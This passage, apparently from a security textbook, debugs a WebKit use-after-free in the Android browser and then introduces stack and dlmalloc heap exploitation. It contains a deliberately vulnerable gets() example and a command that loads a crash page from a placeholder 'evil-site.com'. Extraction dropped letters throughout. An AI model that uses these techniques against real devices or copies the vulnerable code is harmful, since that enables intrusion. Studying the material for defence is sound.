252 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 252 After attaching the debugger and continuing execution we’re ready to open the HTML f le that causes the crash. Like you did in the attach.sh script you use am start to ask the browser to navigate to the page. shellmaguro:/ am start -a android.intent.action.VIEW -d \ http://evil-site.com/crash1.html com.google.android.browser In this particular instance it may require several attempts to load the page for a crash to occur. When the crash f nally happens you’re ready to start digging in. Program received signal SIGSEGV Segmentation fault. Switching to Thread 17879 0x00000000 in gdb Oh boy The browser crashed with the PC register set to zero This is a clear indication that something has gone horribly wrong. There are many different ways this can happen so you want to f nd out how you might have gotten to this state. The first place you look for clues is in the call stack. Output from the backtrace GDB command is shown here: gdb back 0 0x00000000 in 1 0x5d46fee4 in WebCore::Node::parentNode this0x5a621088 at external/webkit/Source/WebCore/dom/Node.h:731 2 0x5d6748e0 in WebCore::ReplacementFragment::removeNode thisoptimized out node... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:215 3 0x5d675d5a in WebCore::ReplacementFragment::removeUnrenderedNodes this0x5ea004a8 holder0x5a6b6a48 at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:297 4 0x5d675eac in WebCore::ReplacementFragment::ReplacementFragment this0x5ea004a8 documentoptimized out fragmentoptimized out matchStyleoptimized out selection... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:178 5 0x5d6764c2 in WebCore::ReplaceSelectionCommand::doApply this0x5a621800 at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:819 6 0x5d66701c in WebCore::EditCommand::apply this0x5a621800 at external/webkit/Source/WebCore/editing/EditCommand.cpp:92 7 0x5d66e2e2 in WebCore::executeInsertFragment frameoptimized out fragmentoptimized out at external/webkit/Source/WebCore/editing/EditorCommand.cpp:194 8 0x5d66e328 in WebCore::executeInsertHTML frame0x5aa65690 value... at external/webkit/Source/WebCore/editing/EditorCommand.cpp:492 9 0x5d66d3d4 in WebCore::Editor::Command::execute this0x5ea0068c parameter... triggeringEvent0x0 at external/webkit/Source/WebCore/editing/EditorCommand.cpp:1644

slide 285:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 253 c07.indd 11:8:41:AM 02/25/2014 Page 253 10 0x5d6491a4 in WebCore::Document::execCommand this0x5aa1ac80 commandName... userInterfaceoptimized out value... at external/webkit/Source/WebCore/dom/Document.cpp:4053 11 0x5d5c7df6 in WebCore::DocumentInternal::execCommandCallback argsoptimized out at .../libwebcore_intermediates/Source/WebCore/bindings/V8Document. cpp:1473 12 0x5d78dc22 in HandleApiCallHelperfalse isolate0x4173c468 args... at external/v8/src/builtins.cc:1120 ... From the call stack you can see that the stack itself is intact and there are several functions leading up to the crash. On ARM you can see how the pro- gram got here by looking where the LR register points. Dump the instructions at this location subtracting either two or four depending on whether the code is Thumb or ARM. If the value is odd the address points to Thumb code. gdb x/i lr - 2 0x5d46fee3 WebCore::Node::parentNode const+18: blx r2 The instruction you see is a branch to a location stored in the R2 register. Checking the content of this register conf rms if that is indeed how the program got here. gdb i r r2 r2 0x0 0 It looks fairly certain that this is how the program got here. You still haven’t found the root cause though so start tracking data f ow backward to see how in the world R2 became zero. It def nitely isn’t normal to branch to zero. To f nd out more look closer at the parent calling function by disassembling it. gdb up 1 0x5d46fee4 in WebCore::Node::parentNode this0x594134b0 at external/webkit/Source/WebCore/dom/Node.h:731 731 return getFlagIsShadowRootFlag || isSVGShadowRoot 0 : parent gdb disas Dump of assembler code for function WebCore::Node::parentNode const: 0x5d46fed0 +0: push r4 lr 0x5d46fed2 +2: mov r4 r0 0x5d46fed4 +4: ldr r3 r0 36 0x24 0x5d46fed6 +6: lsls r1 r3 13 0x5d46fed8 +8: bpl.n 0x5d46fede WebCore::Node::parentNode const+14 0x5d46feda +10: movs r0 0 0x5d46fedc +12: pop r4 pc 0x5d46fede +14: ldr r1 r0 0 0x5d46fee0 +16: ldr r2 r1 112 0x70 0x5d46fee2 +18: blx r2 0x5d46fee4 +20: cmp r0 0

slide 286:

254 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 254 0x5d46fee6 +22: bne.n 0x5d46feda WebCore::Node::parentNode const+10 0x5d46fee8 +24: ldr r0 r4 12 0x5d46feea +26: pop r4 pc End of assembler dump. The disassembly listing shows a short function that indeed contains the branch to R2. It doesn’t appear to take any parameters so it must be operating entirely on its members. Working backward you can see that R2 is loaded from offset 112 of the block of memory pointed to by R1. In turn R1 is loaded from offset zero within the block pointed to by R0. Conf rm that these values are indeed what led to the zero R2 value. gdb i r r1 r1 0x5a621fa0 1516380064 gdb x/wx r1 + 112 0x5a622010: 0x00000000 gdb x/wx r0 0x5a621088: 0x5a621fa0 Conf rmed It looks fairly certain that something went wrong with the chunk at 0x5a621fa0 or the chunk at 0x5a621088. Check to see if these are free or in use by dumping the heap header of the chunk at 0x5a621088. gdb x/2wx r0 - 0x8 0x5a621080: 0x00000000 0x00000031 Specif cally look at the second 32-bit value. This corresponds to the size of the current chunk which uses the lower 3 bits as f ags. The status indicated by the lack of bit 2 being set means this chunk is free This is def nitely a use-after-free vulnerability of some type. Next you want to get some idea where this chunk is freed. Quit the debugger which allows the process to crash as usual. The debugging.sh shell script waits a bit starts the browser back up and attaches the GDB server. NOTE Dialogs may periodically appear asking if you want to wait for the browser to respond. This is normal due to the debugger slowing the browser down. Click the Wait button to keep things going or just ignore the dialog. When the browser is up again attach the GDB client again. This time set a tracing breakpoint on the parent function to try to interact shortly before the crash happens: gdb break WebCore::Node::parentNode const Breakpoint 1 at 0x5d46fed2: file external/webkit/Source/WebCore/dom/Node.h line 730. gdb commands Type commands for breakpoints 1 one per line. End with a line saying just "end". cont

slide 287:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 255 c07.indd 11:8:41:AM 02/25/2014 Page 255 end gdb cont Continuing. Unfortunately you will quickly notice that this breakpoint is hit very fre- quently inside the browser. This is because the parentNode function is called from many places throughout the WebKit code base. To avoid this issue we put a breakpoint on the grandparent function instead. gdb break \ WebCore::ReplacementFragment::removeNodeWTF::PassRefPtrWebCore::Node Breakpoint 1 at 0x5d6748d4: file external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.cpp line 211. gdb cont Continuing. After the breakpoint is set load the crash triggering page again. Switching to Thread 18733 Breakpoint 1 WebCore::ReplacementFragment::removeNode this0x5ea004a8 node... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:211 211 gdb Now that you’ve stopped before the crash create a tracing breakpoint that shows where the free function is being called from. To reduce noise limit this breakpoint to only the current thread. Before you can do that you need to know what thread number corresponds to this thread. gdb info threads ... 2 Thread 18733 WebCore::ReplacementFragment::removeNode this0x5e9004a8 node... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:211 ... Now that you know this is thread 2 create a breakpoint limited to this thread and set up some script commands to execute when it is hit. gdb break dlfree thread 2 Breakpoint 2 at 0x401259e2: file bionic/libc/bionic/../upstream-dlmalloc/malloc.c line 4711. gdb commands Type commands for breakpoints 2 one per line. End with a line saying just "end". silent printf "free0xx\n" r0 back printf "\n" cont end gdb cont Continuing.

slide 288:

256 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 256 You will immediately start seeing output from this breakpoint upon continu- ing. Don’t worry too much about the output until the browser crashes again. NOTE It should only be necessary to tell the debugger to continue from our break- point once before the crash appears. If the debugger stops more than that it is prob- ably best to kill the browser and try again. Scripting the whole process by adding to our script.gdb fi le makes restarting to try again less painful. When the browser crashes again look at the value in R0: gdb i r r0 r0 0x5a6a96d8 1516934872 Then scan backward through the debugger output looking for the free call that released that memory. free0x5a6a96d8 0 dlfree mem0x5a6a96d8 at bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711 1 0x401229c0 in free memoptimized out at bionic/libc/bionic/malloc_debug_common.cpp:230 2 0x5d479b92 in WebCore::Text::Text this0x5a6a96d8 __in_ chrgoptimized out at external/webkit/Source/WebCore/dom/Text.h:30 3 0x5d644210 in WebCore::removeAllChildrenInContainerWebCore::Node WebCore::ContainerNode containeroptimized out at external/webkit/Source/WebCore/dom/ContainerNodeAlgorithms.h:64 4 0x5d644234 in removeAllChildren this0x5a8d36f0 at external/webkit/Source/WebCore/dom/ContainerNode.cpp:76 5 WebCore::ContainerNode::ContainerNode this0x5a8d36f0 __in_chrgoptimized out at external/webkit/Source/WebCore/dom/ContainerNode.cpp:100 6 0x5d651890 in WebCore::Element::Element this0x5a8d36f0 __in_chrgoptimized out at external/webkit/Source/WebCore/dom/Element.cpp:118 7 0x5d65c5b4 in WebCore::StyledElement::StyledElement this0x5a8d36f0 __in_chrgoptimized out at external/webkit/Source/WebCore/dom/StyledElement.cpp:121 8 0x5d486830 in WebCore::HTMLElement::HTMLElement this0x5a8d36f0 __in_chrgoptimized out at external/webkit/Source/WebCore/html/HTMLElement.h:34 9 0x5d486848 in WebCore::HTMLElement::HTMLElement this0x5a8d36f0 __in_chrgoptimized out at external/webkit/Source/WebCore/html/HTMLElement.h:34 10 0x5d46fb9a in WebCore::TreeSharedWebCore::ContainerNode::removedLast Ref thisoptimized out at external/webkit/Source/WebCore/platform/TreeShared.h:118 11 0x5d46aef0 in deref thisoptimized out at external/webkit/Source/WebCore/platform/TreeShared.h:79 12 WebCore::TreeSharedWebCore::ContainerNode::deref thisoptimized out at external/webkit/Source/WebCore/platform/TreeShared.h:68

slide 289:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 257 c07.indd 11:8:41:AM 02/25/2014 Page 257 13 0x5d46f69a in RefPtr this0x5e9003e8 __in_chrgoptimized out at external/webkit/Source/JavaScriptCore/wtf/RefPtr.h:58 14 WebCore::Position::Position this0x5e9003e8 __in_chrgoptimized out at external/webkit/Source/WebCore/dom/Position.h:52 15 0x5d675d60 in WebCore::ReplacementFragment::removeUnrenderedNodes this0x5e9004a8 holder0x5a6c5fe0 ... There it is You can see that it is getting freed by a call to a destructor for a WebCore::Text object. The other thing you can tell from looking closely at the preceding stack trace is that a buffer is being freed when removing all children from a certain type of HTML element called a ContainerNode. This happens during the f rst call to removeNode where your initial breakpoint was placed. Inspecting the node parameter on the second call to removeNode you can see this pointer being passed in. That def nitely should not happen. At this point you have conf rmed that this is a use-after-free vulnerability. Still you have not yet determined the root cause. To do this you have to ven- ture further up the call stack and suspiciously analyze what the program is doing incorrectly. Turn your attention to the function that calls removeNode removeUnrenderedNodes. The source for this function is presented here: 287 void ReplacementFragment::removeUnrenderedNodesNode holder 288 289 VectorNode unrendered 290 291 for Node node holder-firstChild node node node-traverseNextNodeholder 292 if isNodeRenderednode isTableStructureNodenode 293 unrendered.appendnode 294 295 size_t n unrendered.size 296 for size_t i 0 i n ++i 297 removeNodeunrenderedi 298 Within this function the loop on line 291 uses traverseNextNode to go through the children of the Node object that’s passed in. For each Node the code inside the loop adds any non-table Node that is not rendered to the unrendered Vector. Then the loop on line 296 processes all of the accumulated Node objects. It’s likely that the f rst call to removeNode is f ne. However the second call operates on a freed pointer. In addition to knowing where the free happens and what uses the freed block we know from our stack trace on dlfree that removeNode will remove all children of a ContainerNode passed to it. Still we don’t know the root cause. We don’t know exactly what leads to the use-after- free. It seems unlikely that something strange would be happening inside the isNodeRendered and isTableStructureNode functions. The only other function

slide 290:

258 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 258 being called is the traverseNextNode function. Looking at the source code for this function we see the following: 1116 Node Node::traverseNextNodeconst Node stayWithin const 1117 1118 if firstChild 1119 return firstChild 1120 if this stayWithin 1121 return 0 1122 if nextSibling 1123 return nextSibling 1124 const Node n this 1125 while n n-nextSibling stayWithin || n-parentNode stayWithin 1126 n n-parentNode 1127 if n 1128 return n-nextSibling 1129 return 0 1130 Lines 1118 and 1119 are the most telling. This function will descend into children whenever they exist. Because of this behavior the unrendered Vector winds up containing any non-rendered nodes and their children. As such the unrendered Vector will hold an already deleted child of the f rst node when the f rst call returns. You can verify this relationship by inspecting the unrendered Vector state on the f rst call to removeNode: Breakpoint 1 WebCore::ReplacementFragment::removeNode this0x5ea004a8 node... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:211 211 gdb up 1 0x5d675d5a in WebCore::ReplacementFragment::removeUnrenderedNodes this0x5ea004a8 holder0x5ab3e550 at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:297 297 removeNodeunrenderedi gdb p/x n 1 0x2 gdb x/2wx unrendered.m_buffer.m_buffer 0x6038d8b8: 0x5edbf620 0x595078c0 You can see that there are two entries and they point to Node objects at 0x5edbf620 and 0x595078c0. Look at the contents of these Node objects closer to see how they are related. Specif cally see if the f rst Node is the parent of the second node. gdb p/x Node 0x5edbf620 2 ... m_parent 0x5ab3e550 ...

slide 291:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 259 c07.indd 11:8:41:AM 02/25/2014 Page 259 gdb p/x Node 0x595078c0 3 ... m_parent 0x5edbf620 ... gdb Aha It is You could stop here but being sure requires following these two objects through to the crash to make sure no funny business is unfolding. You can see that the second entry in the Vector has an m_parent f eld that points to the f rst Node. When the second Node is removed it and its parent are already freed. Place a breakpoint on dlfree again. This time let GDB display its usual breakpoint notif cation and have it continue automatically. gdb break dlfree thread 2 Breakpoint 2 at 0x401259e2: file bionic/libc/bionic/../upstream-dlmalloc/malloc.c line 4711. gdb commands Type commands for breakpoints 2 one per line. End with a line saying just "end". cont end gdb cont Continuing. ... Breakpoint 2 dlfree mem0x595078c0 at bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711 ... Breakpoint 2 dlfree mem0x5edbf620 at bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711 ... You can see again that these two pointers are freed. The f rst call frees the child Node and the second frees the f rst Node. The original breakpoint on removeNode is hit next. Breakpoint 1 WebCore::ReplacementFragment::removeNode this0x5ea004a8 node... at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand. cpp:211 211 gdb p/x node 4 m_ptr 0x595078c0 Finally you’ve conf rmed that the Node passed in to removeNode is indeed the freed child Node. If you continue you’re already executing undef ned behavior by operating on this released object. So the root cause is that both the removeNode and removeUnrenderedNodes functions are traversing into the children of a Node that is to be removed. But how do you f x the issue

slide 292:

260 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 260 There are several ways to avoid this vulnerability. In fact this vulnerability was already patched by the WebKit developers and assigned CVE-2011-2817. The fact that Android remains vulnerable is an unfortunate oversight and is likely due to differences in security prioritization within Google. The f x that the WebKit developers off cially carried forward is as follows: diff --git a/Source/WebCore/editing/ReplaceSelectionCommand.cpp b/Source/WebCore/editing/ReplaceSelectionCommand.cpp index d4b0897..8670dfb 100644 --- a/Source/WebCore/editing/ReplaceSelectionCommand.cpp +++ b/Source/WebCore/editing/ReplaceSelectionCommand.cpp -2927 +2927 void ReplacementFragment::removeUnrenderedNodesNode holder - VectorNode unrendered + VectorRefPtrNode unrendered for Node node holder-firstChild node node node-traverseNextNodeholder if isNodeRenderednode isTableStructureNodenode This modif cation changes the declaration of the unrendered Vector to hold reference counted pointers instead of raw pointers. Although this does remove the possibility for use-after-free there is another more eff cient approach. The traverseNextSibling function implements the same behavior as traverseNext- Node with one key difference. It does not traverse into child nodes. Because you know that child nodes will get removed on the call to removeNode this f ts the use case of this function better. The unrendered Vector would not contain children of nodes that get removed and so the use-after-free is still avoided. Judging Exploitability After the root cause of an issue is isolated the next goal is to further classify the issue by judging how easily it can be exploited. Whether the ultimate goal is f xing an issue or exploiting it prioritizing based on ease of exploitation uses resources more eff ciently. Easy-to-exploit issues should be investigated with higher priority than those that are hard to exploit. Accurately determining whether or not a bug can be exploited is a diff cult complicated and lengthy process. Depending on the bug and the level of certainty required this task can take anywhere from a few minutes to several months. Thankfully teams that are tasked with f xing bugs may not need to concern themselves with this task at all. They can simply f x the bug. If the ultimate goal is prioritizing which bugs to f x f rst one can err on the side of caution. However researchers aiming to prove a bug’s exploitability do not have this luxury. The whole process is highly subjective and hinges on the experience and knowledge of the analyst or analysts involved. To make a correct determination

slide 293:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 261 c07.indd 11:8:41:AM 02/25/2014 Page 261 analysts must be well versed in state-of-the-art exploitation techniques. They must be intimately familiar with all the exploit mitigations present on the tar- get platform. Even an experienced and knowledgeable analyst faces challenges when judging whether or not some bugs are exploitable. Proving whether an issue is exploitable or not is easy sometimes but other times it is simply infeasible. For example the issue analyzed in the previous section sometimes leads to a crash with a tainted PC register. This may at a glance be deemed highly dangerous. However there seems to be very little chance to control the buffer that is freed before it is reused. This suggests that it may not actually be exploitable at all. Exploiting issues like this is covered in more detail in Chapter 8. Summary In this chapter you learned about debugging and analyzing vulnerabilities on Android. The chapter covers a plethora of techniques for debugging both Dalvik and native code including using common debug facilities leveraging automation to increase eff ciency debugging at source level using AOSP-supported devices and debugging on-device for increased performance. We explained why symbols are more important on ARM showed how that leads to challenges in debug- ging with non-AOSP devices and offered ways to deal with these problems. Finally the chapter discussed two key goals when analyzing vulnerabilities: determining root cause and judging exploitability. You were introduced to several common vulnerability analysis tools and techniques to help you get a deeper understanding of bugs that you might encounter. You walked through analyzing the root cause of a vulnerability in the Android Browser and learned some of the considerations involved in determining whether or not issues are exploitable. The next chapter takes a closer look at user-space exploitation on Android. It covers crucial code constructs and exploitation-relevant operating system details and examines how several exploits work in detail.

slide 295:

263 c08.indd 11:10:3:AM 02/25/2014 Page 263 This chapter introduces exploiting memory corruption issues in user-space software on the Android operating system. Well-known vulnerability classes such as stack-based buffer overf ows are examined in the context of the ARM architecture. The chapter discusses key implementation details that are relevant when developing exploits. Next it examines a few historic exploits so you can understand the application of the previously introduced concepts. Finally the chapter wraps up with a case study in advanced heap exploitation using a remotely exploitable vulnerability in the WebKit browser engine. Memory Corruption Basics The key to understanding exploits for memory corruption vulnerabilities is abstraction. It is important to avoid thinking in terms of a high-level language such as C. Instead an attacker should simply consider the memory of the target machine as a f nite amount of memory cells that are only assigned a meaning by the target program’s semantics. This includes any meaning implicitly induced by certain instruction types or functions such as those that treat regions of memory as the stack or heap. CHAPTER 8 Exploiting User Space Software

slide 296:

264 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 264 The following sections discuss certain specif c incarnations of memory corruption and how they can be exploited on the Android platform. However they all have one thing in common with any other exploitation method: The implicit assumptions the target code makes about certain memory regions are violated by the attacker. Subsequently these violations are used to manipulate the target program’s state to the attacker’s liking. This can happen in more straightforward ways such as directing the native execution f ow to attacker- controlled memory. It can also happen in more arcane ways such as leveraging existing program semantics on violated assumptions to make a program behave to the attacker’s choosing often referred to as weird machine programming. There are many details and advanced exploitation methods for both the user-space stack and heap that cannot be covered in this chapter because which technique to use depends so much on the vulnerability at hand. There are count- less resources on the Internet that provide further details that are sometimes architecture specif c. This chapter focuses on introducing the most common concepts that affect the Android platform on ARM devices. Stack Buff er Overfl ows Like many other architectures’ Application Binary Interfaces ABIs the ARM Embedded ABI EABI makes heavy use of the designated thread-specif c program stack. The following ABI rules are used on ARM: ■ Functions that exceed four parameters get further parameters passed on the stack using the push instruction. ■ Local variables that cannot be stored in registers are allocated on the current stack frame. This holds especially true for variables larger than the 32-bit native word size of the ARM architecture and variables that are referenced by pointers. ■ The return address from the current execution function is stored on the stack for non-leaf functions. More details on handling of function return addresses are discussed in Chapter 9. When a function that uses the stack is invoked it typically starts with pro- logue code that sets up a stack frame and ends with epilogue code that tears it down again. The prologue code saves registers that should not be trashed onto the stack. When returning from the function later the corresponding epilogue restores them. The prologue also allocates the space required for all local vari- ables stored on the stack by adjusting the stack pointer accordingly. Because the stack grows from high virtual memory to low memory the stack pointer is decremented in the prologue and incremented in the epilogue. Nested function calls result in layered stack frames as shown in Figure 8-1.

slide 297:

Chapter 8 ■ Exploiting User Space Software 265 c08.indd 11:10:3:AM 02/25/2014 Page 265 local variables n low high sp fp start of stack saved frame pointer n saved program counter n ..... local variables 1 saved frame pointer 1 saved program counter 1 Figure 8-1: Multiple stack frames example Note that although there are special instructions in Thumb mode that deal with the stack pointer register namely push and pop the general concept of the stack is just an ABI agreement between different functions. The designated stack pointer register could be used for other purposes as well. Therefore a local variable allocated on the stack can be treated like any other memory location by an attacker. What makes vulnerabilities involving local stack variables particularly interest- ing is that they reside close to other inline control data—that is saved function return addresses. Also all local variables reside next to each other without any interleaving control data as depicted in Figure 8-1. All information about the stack frame layout is implicitly encoded in the native code generated by the compiler. Any bounds-checking bug that affects a local variable can then trivially be used to overwrite the contents of other local variables or inline control data with attacker-controlled values. Aleph1 was the f rst to publicly document this in his seminal article entitled “Smashing the Stack for Fun and Prof t” Phrack 49 Article 14 http://phrack.org/issues.htmlissue49id14article. Because temporary character buffers or arrays of data are often allocated as local variables on the stack this is a common vulnerability pattern. A trivial example of vulnerable code looks like the following code. Vulnerable Stack Buff er Function Example void getname struct char name32 int age info

slide 298:

266 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 266 info.age 23 printf"Please enter your name: " getsinfo.name printf"Hello s I guess you are u years old\n" info.name info.age The gets function is notoriously known for not performing any bounds check- ing. If more than 32 characters are provided on stdin the program will misbehave. The assembly generated by GCC 4.7 .1 with the f ags -mthumb -mcpucortex-a9 -O2 looks like this: Disassembly for the Previous Example 00000000 getname: 0: f240 0000 movw r0 0 ↓ Save return address to caller on stack. 4: b500 push lr 6: 2317 movs r3 23 ↓ Reserve stack space for local variables. 8: b08b sub sp 44 a: f2c0 0000 movt r0 0 ↓ Initialize stack variable age with f xed value 23 set to r3 before. e: 9301 str r3 sp 36 10: f7ff fffe bl 0 printf ↓ Calculate stack buffer address as f rst argument to gets. 14: a802 add r0 sp 4 16: f7ff fffe bl 0 gets 1a: f240 0000 movw r0 0 ↓ Load age local variable to print it. 1e: 9a01 ldr r2 sp 36

slide 299:

Chapter 8 ■ Exploiting User Space Software 267 c08.indd 11:10:3:AM 02/25/2014 Page 267 ↓ Calculate stack buffer address again for printing. 20: a902 add r1 sp 4 22: f2c0 0000 movt r0 0 26: f7ff fffe bl 0 printf 2a: b00b add sp 44 ↓ Load return address from stack and return. 2c: bd00 pop pc As stated earlier the stack frame layout is encoded entirely in the code of the function or more precisely in the sp register relative offsets. The layout on the stack is shown in Figure 8-2. name32 low high sp+36 sp+4 age saved program counter Figure 8-2: Stack frame layout for example When an attacker supplies more than 32 bytes of input he f rst overwrites the local variable age with bytes 33 to 36 and then the saved return address with bytes 37 to 40. He can then redirect the execution f ow upon function return to a location of his liking or simply abuse the fact that he can control a local variable that he otherwise would not have been able to change to make him look older Because this type of vulnerability is so common a generic mitigation was implemented in the GNU C Compiler. This mitigation was enabled by default since the f rst release of Android. See the “Protecting the Stack” section in Chapter 12 for more details. Despite this mitigation vulnerability-specif c techniques can still be used for attacking applications protected by stack cookies such as in the case of the zergRush exploit discussed later in this chapter. Also vanilla stack buffer overf ows still serve as a very useful introductory example to memory corruption vulnerabilities.

slide 300:

268 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 268 Heap Exploitation Non-local objects that must live longer than one function’s scope are allocated on the heap. Arrays and character buffers allocated on the heap are subject to the same bounds-checking issues as those situated on the stack. In addition to data the heap contains in-bound allocation control metadata for each allocated object. Furthermore unlike local stack-backed variables heap allocation lifetimes are not automatically managed by the compiler. Heap-based vulnerabilities lend themselves to easier exploitation due to these two facts. Accordingly more such vulnerabilities can be leveraged by an attacker. Use-After-Free Issues In a use-after-free scenario the application code uses a pointer to access an object that has already been marked as free to the heap allocation using the free func- tion or delete operator. This is a common bug pattern in complex software that is also hard to identify with manual source code auditing. Because the delete operator typically relies on free for allocation handling internally we use them interchangeably here. Most heap allocators do not touch the contents of an allocation when freeing it. This leaves intact the original data from when the allocation was previously in use. Many allocators store some control information about freed blocks in the f rst machine words of the free allocation but the majority of the original allocation stays intact. When a memory allocation is used after being freed back to the allocator different scenarios may play out: ■ The freed allocation’s memory has not been used to back a new alloca- tion: When the contents are accessed they are still the same as when the object was still valid. In this case no visible bug will manifest. However in some cases a destructor may invalidate the object’s contents which may lead to an application crash. This scenario can also lead to information leaks that disclose potentially sensitive memory contents to attackers. ■ The freed allocation could be reused for parts of a new allocation: The two semantically different pointers now point to the same memory loca- tion. This often results in a visible crash when the two competing pieces of code interfere with each other. For example one function might overwrite data in the allocation that is then interpreted as a memory address by the other function. This is shown in Figure 8-3. A freed block that is not reused by another allocation is not of much use unless one can force the code to free it once more. However careful input crafting often allows driving the target application to make another allocation of similar size to reuse the just-freed spot. The methodology to do that is heap allocator specif c.

slide 301:

Chapter 8 ■ Exploiting User Space Software 269 c08.indd 11:10:3:AM 02/25/2014 Page 269 class A int example_1 int example_2 class B char example_38 example_1 example_2 example_3 Figure 8-3: Heap use-after-free aliasing Custom Allocators Most developers think the heap allocator is part of the operating system. This is not true. The operating system merely provides a mechanism to allocate new pages 4kB in size on most architectures. These pages are then partitioned into allocations of the required size by the heap allocator. The heap allocator most people use is part of the C runtime library libc they are using. However an application may use another heap allocator that is backed by operating system pages. In fact most desktop browsers do so for performance reasons. It is a common misconception that WebKit-based browsers use the TCmalloc allocator on all architectures. This is not true for the Android browser. Although it is WebKit based it makes use of Bionic’s embedded dlmalloc allocator for normal allocations. The Android dlmalloc Allocator Android’s Bionic libc embeds Doug Lea’s famous dlmalloc allocator that has been in development since 1987. Many open source libc libraries make use of dlmalloc including older versions of the widespread GNU libc. Newer versions of GNU libc use a modif ed version of the original dlmalloc. Up until Android 4.1.2 Bionic bundled the same slightly outdated dlmalloc 2.8.3 from 2005. In Android 4.2 Bionic was modif ed to contain an upstream dlmalloc in a separate folder. Since then Android ships with dlmalloc 2.8.6 from 2012. The following information is valid for both versions. The allocator splits the pages allocated by the operating system into blocks. Those blocks consist of an allocator-specif c control header and the application memory requested. Although memory can be requested at byte granularity blocks are rounded up to multiples of eight bytes in size per default. However dlmalloc allows specifying larger multiples for performance reasons. For example builds for some Intel boards round to multiples of 16 bytes. In consequence blocks of

slide 302:

270 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 270 different sizes that are rounded up to the same size are treated the same by the allocator and can be used interchangeably for f lling up empty slots in a use- after-free scenario. dlmalloc stores inline control data about blocks on the heap to maximize performance of allocations and frees. The inline control data starts two pointer sizes before the actual block. These two f elds hold the sizes of the previous and current chunks allowing the allocator to effectively navigate to neighbor- ing blocks in both directions. Free blocks also contain additional information in the beginning of the user part of an allocated block. For blocks smaller than 256 bytes this additional metadata contains a pointer to the next and previous free blocks of the same size in a doubly linked First-In-First-Out FIFO list. For larger blocks free blocks resemble a trie and subsequently more pointers must be stored. For more details consult the dlmalloc sources which are quite com- ment rich. The overlaid block headers for small blocks are shown in Figure 8-4. previous size dlmalloc free dlmalloc allocated current size CP previous link next link previous size current size CP user data pointer Figure 8-4: dlmalloc block headers list To optimize allocation performance small free blocks are categorized by size. The head of the doubly linked free list is kept in an array called a bin. This enables lookups in constant time during allocation. When a block is freed using free dlmalloc checks if the adjacent blocks are free as well. If so adjacent blocks are merged into the current block. This process is called coalescing. Coalescing takes place before the potentially merged block is put into a bin therefore bins do not inf uence coalescing behavior unlike other allocators such as TCmalloc which only coalesces chunks that no longer f t into an allocation cache. This behavior has signif cant implications for manipulating the heap into a fully attacker-controlled state: ■ When exploiting use-after-free scenarios an attacker must take care to ensure that adjacent blocks are still in use. Otherwise a new allocation that was supposed to take up the free spot might be allocated from another cached free block of the same size instead of the now larger block. Even when the

slide 303:

Chapter 8 ■ Exploiting User Space Software 271 c08.indd 11:10:3:AM 02/25/2014 Page 271 allocation is taken from the same block it might be shifted if the freed block was coalesced with a free block right before it. ■ For heap buffer overf ows and other control data corruption attacks coalesc- ing with blocks at a lower address can shift the control structures out of control of the current block. In either case coalescing can be mitigated by keeping small in-use allocations adjacent to the blocks exploited. Many modern heap allocators contain additional security checks during allo- cation and freeing to mitigate heap attacks. The checks in dlmalloc only affect control data manipulation. free checks the following invariants: ■ The next adjacent chunk’s address must be after the current chunk’s address. This is to avoid integer overf ows when adding the current chunk’s address and size. ■ The previous adjacent chunk must be on the heap determined by compar- ing its address with a global minimum address set at initialization. This mitigates setting an artif cially high previous chunk size. ■ When a chunk is unlinked from the previously mentioned free lists during coalescing or servicing a new allocation a safe unlink check is executed. This check verif es two things. First it verif es that the chunk pointed to by the forward pointer has a back pointer that points to the original chunk. Second the chunk pointed to by the backward pointer must have a forward pointer that points to the original chunk. This mitigates over- writing arbitrary pointers with the chunk addresses during the unlinking. However memory locations that already contain pointers to the chunks such as the bin list heads could still be overwritten in this fashion. The security checks in malloc are mostly limited to the unlinking checks mentioned already. Although special scenarios exist that are not covered by these checks it is often easier to simply attack application-specif c pointers on the heap. Many other gen- eralized techniques are documented in Phrack 66 in particular articles 6 and 10 “Yet another free exploitation technique” and “MALLOC DES-MALEFICARUM” and several other sources. One methodology for attacking application-specif c pointers is presented in the next section. C++ Virtual Function Table Pointers Polymorphism in C++ is supported by what is called virtual functions. Those functions can be specialized for derived classes so that the correct function for an object in memory is called even when the calling code knows only about the base class. Discussing all details of object-oriented programming with virtual

slide 304:

